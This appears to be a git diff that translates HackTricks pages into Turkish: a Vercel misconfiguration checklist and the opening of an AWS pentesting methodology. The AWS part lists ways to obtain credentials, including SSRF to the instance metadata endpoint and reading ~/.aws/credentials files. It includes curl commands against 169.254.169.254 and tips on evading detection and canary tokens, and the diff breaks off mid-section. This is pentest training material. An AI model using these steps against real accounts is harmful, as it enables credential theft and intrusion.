+**Son Zamanlarda Silinen Dağıtımlar**
-- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
-- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
+- **Yanlış Yapılandırma:** Silinen dağıtımları izlememek veya yalnızca otomatik silmelere güvenmek.
+- **Risk:** Kritik dağıtım geçmişinin kaybı, denetimleri ve geri alımları engeller.
---
-### Advanced
+### Gelişmiş
-**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
+**Amaç:** Yapılandırmaları ince ayar yapmak ve güvenliği artırmak için ek proje ayarlarına erişim.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-**Directory Listing**
+**Dizin Listeleme**
-- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
-- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
+- **Yanlış Yapılandırma:** Dizin listelemeyi etkinleştirmek, kullanıcıların dizin içeriğini bir dizin dosyası olmadan görüntülemesine izin verir.
+- **Risk:** Hassas dosyaların, uygulama yapısının ve saldırılar için potansiyel giriş noktalarının açığa çıkması.
---
-## Project Firewall
+## Proje Güvenlik Duvarı
-### Firewall
+### Güvenlik Duvarı
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-**Enable Attack Challenge Mode**
+**Saldırı Zorlama Modunu Etkinleştir**
-- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
-- **Risk:** Potential user experience problems.
+- **Yanlış Yapılandırma:** Bunu etkinleştirmek, web uygulamasının DoS'a karşı savunmalarını artırır ancak kullanılabilirlikten ödün verir.
+- **Risk:** Potansiyel kullanıcı deneyimi sorunları.
-### Custom Rules & IP Blocking
+### Özel Kurallar ve IP Engelleme
-- **Misconfiguration:** Allows to unblock/block traffic
-- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
+- **Yanlış Yapılandırma:** Trafiği engelleme/açma izni verir.
+- **Risk:** Kötü niyetli trafiğe izin verme veya masum trafiği engelleme potansiyeli.
---
-## Project Deployment
+## Proje Dağıtımı
-### Source
+### Kaynak
-- **Misconfiguration:** Allows access to read the complete source code of the application
-- **Risk:** Potential exposure of sensitive information
+- **Yanlış Yapılandırma:** Uygulamanın tam kaynak kodunu okumaya erişim sağlar.
+- **Risk:** Hassas bilgilerin potansiyel açığa çıkması.
-### Skew Protection
+### Eşitsizlik Koruması
-- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
-- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
+- **Yanlış Yapılandırma:** Bu koruma, istemci ve sunucu uygulamasının her zaman aynı sürümü kullanmasını sağlar, böylece istemcinin sunucudan farklı bir sürüm kullanması ve dolayısıyla birbirlerini anlamamaları durumu oluşmaz.
+- **Risk:** Bunu devre dışı bırakmak (eğer etkinse) gelecekteki yeni dağıtımlarda DoS sorunlarına yol açabilir.
---
-## Team Settings
+## Ekip Ayarları
-### General
+### Genel
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
- **Transfer**
- - **Misconfiguration:** Allows to transfer all the projects to another team
- - **Risk:** An attacker could steal the projects
-- **Delete Project**
- - **Misconfiguration:** Allows to delete the team with all the projects
- - **Risk:** Delete the projects
+- **Yanlış Yapılandırma:** Tüm projeleri başka bir ekibe aktarmaya izin verir.
+- **Risk:** Bir saldırgan projeleri çalabilir.
+- **Proje Sil**
+- **Yanlış Yapılandırma:** Tüm projelerle birlikte ekibi silmeye izin verir.
+- **Risk:** Projeleri silmek.
---
-### Billing
+### Faturalama
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **Speed Insights Cost Limit**
- - **Misconfiguration:** An attacker could increase this number
- - **Risk:** Increased costs
+- **Hız İçgörüleri Maliyet Limiti**
+- **Yanlış Yapılandırma:** Bir saldırgan bu sayıyı artırabilir.
+- **Risk:** Artan maliyetler.
---
-### Members
+### Üyeler
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **Add members**
- - **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- - **Risk:** Attacker persistence
-- **Roles**
- - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- - **Risk**: Increate the exposure of the Vercel Team
+- **Üye Ekle**
+- **Yanlış Yapılandırma:** Bir saldırgan, kontrol ettiği bir hesabı davet ederek kalıcılık sağlayabilir.
+- **Risk:** Saldırgan kalıcılığı.
+- **Roller**
+- **Yanlış Yapılandırma:** İhtiyaç duymayan kişilere fazla izin vermek, Vercel yapılandırma riskini artırır. Tüm olası rolleri kontrol edin [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
+- **Risk:** Vercel Ekibinin maruziyetini artırmak.
---
-### Access Groups
+### Erişim Grupları
-An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
+Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamalarıyla birlikte projelerin ve ekip üyelerinin bir koleksiyonudur ve çoklu projeler arasında merkezi ve akıcı erişim yönetimi sağlar.
-**Potential Misconfigurations:**
+**Potansiyel Yanlış Yapılandırmalar:**
-- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
-- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
-- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
-- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
-- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
+- **Aşırı İzin Verme:** Gereğinden fazla izinle rol atamak, yetkisiz erişim veya eylemlere yol açabilir.
+- **Yanlış Rol Atamaları:** Ekip üyelerinin sorumluluklarıyla uyumlu olmayan rollerin yanlış atanması, ayrıcalıkların yükselmesine neden olabilir.
+- **Proje Ayrımı Eksikliği:** Hassas projeleri ayırmamak, istenenden daha geniş erişime izin verir.
+- **Yetersiz Grup Yönetimi:** Erişim Gruplarını düzenli olarak gözden geçirmemek veya güncellemeler yapmamak, güncel olmayan veya uygunsuz erişim izinlerine yol açar.
+- **Tutarsız Rol Tanımları:** Farklı Erişim Grupları arasında tutarsız veya belirsiz rol tanımları kullanmak, kafa karışıklığına ve güvenlik açıklarına yol açar.
---
### Log Drains
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **Log Drains to third parties:**
- - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- - **Risk:** Partial persistence
+- **Üçüncü taraflara Log Drains:**
+- **Yanlış Yapılandırma:** Bir saldırgan, günlükleri çalmak için bir Log Drain yapılandırabilir.
+- **Risk:** Kısmi kalıcılık.
---
-### Security & Privacy
+### Güvenlik ve Gizlilik
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- - **Misconfiguration:**
- - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- - **Risks:**
- - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
- - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
-- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- - **Misconfiguration:** Not adding critical Git scopes to the protected list.
-- **Risks:**
- - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
-- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- - **Risks:**
- - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- - **Data Breach:** Sensitive information like API keys and credentials could be leaked.
-- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- - **Misconfiguration:**\
- Granting access to audit logs to unauthorized team members.
- - **Risks:**
- - **Privacy Violations:** Exposure of sensitive user activities and data.
- - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
-- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- - **Risk:** Maintain persistence
-- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- - **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- - **Risks:**
- - **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- - **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
-- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- - **Risks:**
- - **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- - **Operational Disruptions:** Loss of service availability for certain regions or clients.
+- **Ekip E-posta Alanı:** Yapılandırıldığında, bu ayar, belirtilen alanla (örneğin, `mydomain.com`) biten e-posta adreslerine sahip Vercel Kişisel Hesaplarını otomatik olarak davet eder.
+- **Yanlış Yapılandırma:**
+- Yanlış e-posta alanı belirtmek veya Ekip E-posta Alanı ayarında yanlış yazılmış bir alan kullanmak.
+- Şirket spesifik bir alan yerine yaygın bir e-posta alanı (örneğin, `gmail.com`, `hotmail.com`) kullanmak.
+- **Riskler:**
+- **Yetkisiz Erişim:** İstenmeyen alanlardan e-posta adreslerine sahip kullanıcılar, ekibinize katılmak için davet alabilir.
+- **Veri Açığı:** Hassas proje bilgilerini yetkisiz bireylere açma potansiyeli.
+- **Korunan Git Kapsamları:** Korunan kapsamdan diğer Vercel ekiplerinin depo dağıtımını önlemek için ekibinize 5'e kadar Git kapsamı eklemenize izin verir. Birden fazla ekip aynı kapsamı belirtebilir, her iki ekibin de erişimi olur.
+- **Yanlış Yapılandırma:** Kritik Git kapsamlarını korunan listeye eklememek.
+- **Riskler:**
+- **Yetkisiz Dağıtımlar:** Diğer ekipler, kuruluşunuzun Git kapsamlarından yetkisiz olarak depo dağıtabilir.
+- **Fikri Mülkiyet Açığı:** Sahip kod, ekibinizin dışında dağıtılabilir ve erişilebilir.
+- **Ortam Değişkeni Politikaları:** Ekibin ortam değişkenlerinin oluşturulması ve düzenlenmesi için politikaları zorunlu kılar. Özellikle, tüm ortam değişkenlerinin yalnızca Vercel'in dağıtım sistemi tarafından şifrelenebilen **Hassas Ortam Değişkenleri** olarak oluşturulmasını zorunlu kılabilirsiniz.
+- **Yanlış Yapılandırma:** Hassas ortam değişkenlerinin zorunlu kılınmasını devre dışı bırakmak.
+- **Riskler:**
+- **Sırların Açığa Çıkması:** Ortam değişkenleri, yetkisiz ekip üyeleri tarafından görüntülenebilir veya düzenlenebilir.
+- **Veri İhlali:** API anahtarları ve kimlik bilgileri gibi hassas bilgilerin sızdırılması.
+- **Denetim Günlüğü:** Ekibin etkinliğinin son 90 güne kadar bir dışa aktarımını sağlar. Denetim günlükleri, ekip üyeleri tarafından gerçekleştirilen eylemleri izlemeye ve takip etmeye yardımcı olur.
+- **Yanlış Yapılandırma:**\
+Yetkisiz ekip üyelerine denetim günlüklerine erişim izni vermek.
+- **Riskler:**
+- **Gizlilik İhlalleri:** Hassas kullanıcı etkinliklerinin ve verilerin açığa çıkması.
+- **Günlüklerle Oynama:** Kötü niyetli aktörler, izlerini örtmek için günlükleri değiştirebilir veya silebilir.
+- **SAML Tek Oturum Açma:** Ekibiniz için SAML kimlik doğrulamasını ve dizin senkronizasyonunu özelleştirmenize olanak tanır, merkezi kimlik doğrulama ve kullanıcı yönetimi için bir Kimlik Sağlayıcısı (IdP) ile entegrasyon sağlar.
+- **Yanlış Yapılandırma:** Bir saldırgan, SAML parametrelerini (örneğin, Varlık Kimliği, SSO URL'si veya sertifika parmak izleri) ayarlayarak ekibi arka kapı ile kurabilir.
+- **Risk:** Kalıcılığı sürdürmek.
+- **IP Adresi Görünürlüğü:** IP adreslerinin, belirli veri koruma yasaları altında kişisel bilgi olarak kabul edilebileceği durumlarda, İzleme sorgularında ve Log Drains'de görüntülenip görüntülenmeyeceğini kontrol eder.
+- **Yanlış Yapılandırma:** Gereksiz yere IP adresi görünürlüğünü etkin bırakmak.
+- **Riskler:**
+- **Gizlilik İhlalleri:** GDPR gibi veri koruma düzenlemeleriyle uyumsuzluk.
+- **Hukuki Sonuçlar:** Kişisel verilerin kötü yönetimi nedeniyle potansiyel para cezaları ve yaptırımlar.
+- **IP Engelleme:** Vercel'in istekleri engellemesi gereken IP adreslerini ve CIDR aralıklarını yapılandırmanıza olanak tanır. Engellenen istekler, faturalamanıza katkıda bulunmaz.
+- **Yanlış Yapılandırma:** Bir saldırgan tarafından kötü niyetli trafiğe izin vermek veya meşru trafiği engellemek için kötüye kullanılabilir.
+- **Riskler:**
+- **Meşru Kullanıcılara Hizmetin Reddedilmesi:** Geçerli kullanıcıların veya ortakların erişiminin engellenmesi.
+- **Operasyonel Kesintiler:** Belirli bölgeler veya müşteriler için hizmetin kullanılabilirliğinin kaybı.
---
-### Secure Compute
+### Güvenli Hesaplama
-**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
+**Vercel Güvenli Hesaplama**, Vercel Fonksiyonları ile arka uç ortamları (örneğin, veritabanları) arasında güvenli, özel bağlantılar sağlar ve özel IP adresleri ile izole ağlar kurar. Bu, arka uç hizmetlerini kamuya açma ihtiyacını ortadan kaldırarak güvenliği, uyumu ve gizliliği artırır.
-#### **Potential Misconfigurations and Risks**
+#### **Potansiyel Yanlış Yapılandırmalar ve Riskler**
-1. **Incorrect AWS Region Selection**
- - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
-2. **Overlapping CIDR Blocks**
- - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
-3. **Improper VPC Peering Configuration**
- - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
-4. **Excessive Project Assignments**
- - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
-5. **Inadequate IP Address Management**
- - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
-6. **Including Build Containers Unnecessarily**
- - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
-7. **Failure to Securely Handle Bypass Secrets**
- - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
-8. **Ignoring Region Failover Configurations**
- - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
-9. **Exceeding VPC Peering Connection Limits**
- - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
-10. **Insecure Network Settings**
- - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
+1. **Yanlış AWS Bölgesi Seçimi**
+- **Yanlış Yapılandırma:** Güvenli Hesaplama ağı için arka uç hizmetlerinin bölgesiyle eşleşmeyen bir AWS bölgesi seçmek.
+- **Risk:** Artan gecikme, potansiyel veri ikamet uyumu sorunları ve performans düşüklüğü.
+2. **Çakışan CIDR Blokları**
+- **Yanlış Yapılandırma:** Mevcut VPC'lerle veya diğer ağlarla çakışan CIDR blokları seçmek.
+- **Risk:** Ağ çatışmaları, başarısız bağlantılar, yetkisiz erişim veya ağlar arasında veri sızıntısına yol açabilir.
+3. **Yanlış VPC Peering Yapılandırması**
+- **Yanlış Yapılandırma:** VPC peering'i yanlış ayarlamak (örneğin, yanlış VPC kimlikleri, eksik yönlendirme tablosu güncellemeleri).
+- **Risk:** Arka uç altyapısına yetkisiz erişim, güvenli bağlantıların başarısız olması ve potansiyel veri ihlalleri.
+4. **Aşırı Proje Atamaları**
+- **Yanlış Yapılandırma:** Uygun izolasyon olmadan bir güvenli hesaplama ağına birden fazla proje atamak.
+- **Risk:** Paylaşılan IP açığı, saldırı yüzeyini artırır ve potansiyel olarak tehlikeye giren projelerin diğerlerini etkilemesine neden olabilir.
+5. **Yetersiz IP Adresi Yönetimi**
+- **Yanlış Yapılandırma:** Ayrıcalıklı IP adreslerini uygun şekilde yönetmemek veya döndürmemek.
+- **Risk:** IP sahtekarlığı, izleme zafiyetleri ve IP'lerin kötü niyetli faaliyetlerle ilişkilendirilmesi durumunda potansiyel kara listeye alınma.
+6. **Gereksiz Yapılandırma Konteynerleri Ekleme**
+- **Yanlış Yapılandırma:** Arka uç erişimi gerekmeyen durumlarda yapılandırma konteynerlerini güvenli hesaplama ağına eklemek.
+- **Risk:** Genişletilmiş saldırı yüzeyi, artan tahsis gecikmeleri ve gereksiz ağ kaynaklarının tüketimi.
+7. **Atlatma Sırlarını Güvenli Bir Şekilde Yönetmeme**
+- **Yanlış Yapılandırma:** Dağıtım korumalarını atlatmak için kullanılan sırları açığa çıkarmak veya yanlış yönetmek.
+- **Risk:** Korunan dağıtımlara yetkisiz erişim, saldırganların kötü niyetli kodu manipüle etmesine veya dağıtmasına izin verir.
+8. **Bölge Yedekleme Yapılandırmalarını Görmezden Gelme**
+- **Yanlış Yapılandırma:** Pasif yedekleme bölgeleri kurmamak veya yedekleme ayarlarını yanlış yapılandırmak.
+- **Risk:** Birincil bölge kesintileri sırasında hizmet kesintisi, kullanılabilirliğin azalması ve potansiyel veri tutarsızlığı.
+9. **VPC Peering Bağlantı Limitlerini Aşma**
+- **Yanlış Yapılandırma:** İzin verilen limitten daha fazla VPC peering bağlantısı kurmaya çalışmak (örneğin, 50 bağlantıyı aşmak).
+- **Risk:** Gerekli arka uç hizmetlerine güvenli bir şekilde bağlanamama, dağıtım hatalarına ve operasyonel kesintilere yol açabilir.
+10. **Güvensiz Ağ Ayarları**
+- **Yanlış Yapılandırma:** Zayıf güvenlik duvarı kuralları, şifreleme eksikliği veya güvenli hesaplama ağı içinde yanlış ağ segmentasyonu.
+- **Risk:** Veri kesintisi, arka uç hizmetlerine yetkisiz erişim ve saldırılara karşı artan zafiyet.
---
-### Environment Variables
+### Ortam Değişkenleri
-**Purpose:** Manage environment-specific variables and secrets used by all the projects.
+**Amaç:** Tüm projelerde kullanılan ortam spesifik değişkenleri ve sırları yönetmek.
-#### Security Configurations:
+#### Güvenlik Yapılandırmaları:
-- **Exposing Sensitive Variables**
- - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-- **Sensitive disabled**
- - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Hassas Değişkenlerin Açığa Çıkması**
+- **Yanlış Yapılandırma:** Hassas değişkenleri `NEXT_PUBLIC_` ile öneklemek, bunları istemci tarafında erişilebilir hale getirir.
+- **Risk:** API anahtarlarının, veritabanı kimlik bilgilerinin veya diğer hassas verilerin kamuya açılması, veri ihlallerine yol açar.
+- **Hassas devre dışı**
+- **Yanlış Yapılandırma:** Devre dışı bırakıldığında (varsayılan) üretilen sırların değerlerini okumak mümkündür.
+- **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index ad71de826..dc9aeb0c3 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Temel Bilgiler
-**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
+**Pentesting'e başlamadan önce** bir **AWS** ortamında bilmeniz gereken birkaç **temel şey** var; bu, ne yapmanız gerektiğini, yanlış yapılandırmaları nasıl bulacağınızı ve bunları nasıl istismar edeceğinizi anlamanıza yardımcı olacaktır.
-Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
+Organizasyon hiyerarşisi, IAM ve diğer temel kavramlar hakkında açıklamalar için:
{{#ref}}
aws-basic-information/
{{#endref}}
-## Labs to learn
+## Öğrenmek için Laboratuvarlar
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
@@ -22,49 +22,49 @@ aws-basic-information/
- [http://flaws.cloud/](http://flaws.cloud/)
- [http://flaws2.cloud/](http://flaws2.cloud/)
-Tools to simulate attacks:
+Saldırı simülasyonu için araçlar:
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
-## AWS Pentester/Red Team Methodology
+## AWS Pentester/Kırmızı Ekip Metodolojisi
-In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
+Bir AWS ortamını denetlemek için bilmeniz gereken çok önemli noktalar: hangi **hizmetlerin kullanıldığı**, neyin **açık olduğu**, kimin neye **erişimi olduğu** ve iç AWS hizmetlerinin **harici hizmetlerle** nasıl bağlantılı olduğudur.
-From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
+Kırmızı Ekip bakış açısıyla, bir AWS ortamını ele geçirmenin **ilk adımı** bazı **kimlik bilgilerini** elde etmektir. Bunu nasıl yapacağınıza dair bazı fikirler:
-- **Leaks** in github (or similar) - OSINT
-- **Social** Engineering
-- **Password** reuse (password leaks)
-- Vulnerabilities in AWS-Hosted Applications
- - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
- - **Local File Read**
- - `/home/USERNAME/.aws/credentials`
- - `C:\Users\USERNAME\.aws\credentials`
-- 3rd parties **breached**
-- **Internal** Employee
-- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
+- Github'daki **sızıntılar** (veya benzeri) - OSINT
+- **Sosyal** Mühendislik
+- **Şifre** yeniden kullanımı (şifre sızıntıları)
+- AWS-Hosted Uygulamalardaki Güvenlik Açıkları
+- [**Sunucu Tarafı İstek Sahteciliği**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) ile meta veri uç noktasına erişim
+- **Yerel Dosya Okuma**
+- `/home/KULLANICI_ADI/.aws/credentials`
+- `C:\Users\KULLANICI_ADI\.aws\credentials`
+- 3. tarafların **ihlal edilmesi**
+- **İç** Çalışan
+- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)kimlik bilgileri
-Or by **compromising an unauthenticated service** exposed:
+Ya da **kimlik doğrulaması yapılmamış bir hizmeti** ele geçirerek:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
-Or if you are doing a **review** you could just **ask for credentials** with these roles:
+Ya da bir **gözden geçirme** yapıyorsanız, bu rollerle **kimlik bilgilerini** isteyebilirsiniz:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
+> Kimlik bilgilerini elde etmeyi başardıktan sonra, bu kimlik bilgilerin kime ait olduğunu ve **neye erişim sağladıklarını** bilmeniz gerekir, bu nedenle bazı temel sayım işlemleri yapmalısınız:
-## Basic Enumeration
+## Temel Sayım
### SSRF
-If you found a SSRF in a machine inside AWS check this page for tricks:
+AWS içindeki bir makinede bir SSRF bulduysanız, bu sayfayı hileler için kontrol edin:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Whoami
-One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
-
+Bilmeniz gereken ilk şeylerden biri, kim olduğunuzdur (hangi hesapta olduğunuz ve AWS ortamı hakkında diğer bilgiler):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
-
> [!CAUTION]
-> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
-> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
+> Şirketlerin **canary token'lar** kullanarak **token'ların çalındığını ve kullanıldığını** belirleyebileceğini unutmayın. Kullanımdan önce bir token'ın canary token olup olmadığını kontrol etmeniz önerilir.\
+> Daha fazla bilgi için [**bu sayfayı kontrol edin**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md
### IAM Enumeration
-If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
+Yeterli izinleriniz varsa, **AWS hesabındaki her varlığın ayrıcalıklarını kontrol etmek** sizin ve diğer kimliklerin ne yapabileceğini ve nasıl **ayrıcalıkları artırabileceğinizi** anlamanıza yardımcı olacaktır.
-If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
-Check **how to do the numeration and brute-forcing** in:
+IAM'yi listelemek için yeterli izniniz yoksa, bunları **bruteforce ile çalabilirsiniz**.\
+**Listeleme ve brute-forcing nasıl yapılır** kontrol edin:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
-> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
-> In the following section you can check some ways to **enumerate some common services.**
+> Artık **kimlik bilgileriniz hakkında bazı bilgilere sahip olduğunuzda** (ve eğer bir kırmızı takım iseniz umarım **tespit edilmemişsinizdir**). Ortamda hangi hizmetlerin kullanıldığını belirleme zamanı.\
+> Aşağıdaki bölümde **bazı yaygın hizmetleri listeleme** yollarını kontrol edebilirsiniz.
## Services Enumeration, Post-Exploitation & Persistence
-AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
+AWS, şaşırtıcı bir hizmet miktarına sahiptir, aşağıdaki sayfada **temel bilgiler, listeleme** kılavuzları\*\*,\*\* **tespiti önleme**, **kalıcılık** sağlama ve bazıları hakkında diğer **sonrası istismar** ipuçlarını bulacaksınız:
{{#ref}}
aws-services/
{{#endref}}
-Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools).
+Tüm çalışmaları **manuel** olarak yapmanıza gerek olmadığını unutmayın, bu yazının aşağısında [**otomatik araçlar**](./#automated-tools) hakkında bir **bölüm** bulabilirsiniz.
-Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
+Ayrıca, bu aşamada **kimlik doğrulaması yapılmamış kullanıcılara açık daha fazla hizmet keşfetmiş olabilirsiniz**, bunları istismar edebilirsiniz:
{{#ref}}
aws-unauthenticated-enum-access/
@@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/
## Privilege Escalation
-If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
+Farklı kaynaklar üzerindeki **en az kendi izinlerinizi kontrol edebiliyorsanız**, **daha fazla izin elde edip edemeyeceğinizi kontrol edebilirsiniz**. En azından aşağıdaki izinlere odaklanmalısınız:
{{#ref}}
aws-privilege-escalation/
@@ -141,10 +139,10 @@ aws-privilege-escalation/
## Publicly Exposed Services
